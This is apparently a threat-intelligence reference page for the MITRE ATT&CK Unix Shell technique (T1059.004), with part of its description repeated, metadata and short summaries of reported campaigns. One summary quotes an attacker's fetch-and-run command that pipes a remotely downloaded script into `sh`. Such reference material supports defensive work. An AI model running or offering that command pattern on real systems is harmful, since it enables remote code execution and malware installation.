MITRE ATT&CK Technique
T1059.004Unix Shell
- First Reported
- Jul 24, 2025
- Latest Reported
- Sep 29, 2026
Official Description
Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux, macOS, and ESXi systems, though many variations of the Unix shell exist (e.g. sh, ash, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.
Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.
Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
Some systems, such as embedded devices, lightweight Linux distributions, and ESXi servers, may leverage stripped-down Unix shells via Busybox, a small executable that contains a variety of tools, including a simple shell.
- Tactics
- Execution
- Platforms
- ESXi, Linux, macOS, Network Devices
- Parent Technique
- T1059 · Command and Scripting Interpreter
- MITRE Version
- 1.4
- Last Modified
- May 12, 2026
Reported Context (4)
- The macOS PKG installation process downloaded and executed an additional shell script. JSCEAL Malware Spread Through Fake Cryptocurrency Exchange Ads on Facebook
- The x.jsp web shell spawned /bin/sh on Linux to execute actor-supplied commands. ShinyHunters Resume Mass Exploitation of Oracle PeopleSoft Vulnerability CVE-2026-35273
- The attacker piped a remotely fetched first-stage script into `sh` using `wget <attacker_storage> -O- | sh`. Aqua Details Fileless Cryptomining Campaign Targeting Containerized Apps
- An appended shell-script payload executes in memory and uses system utilities to maintain execution. Koske Linux Malware Hides in Panda Images and Shows Signs of AI-Assisted Development
CVE (1)
Malware (4)
Threat Actors (2)
MITRE ATT&CK (31)
Vendors (5)
Products (15)
Tools (6)
Countries (2)
Note: Related entities, including threat actors, malware, CVEs, MITRE ATT&CK techniques, vendors, products, tools, countries, and industries, are shown when they appear in the same reporting. Their presence does not necessarily mean they were targeted, compromised, vulnerable, responsible for the activity, or directly involved in the incident.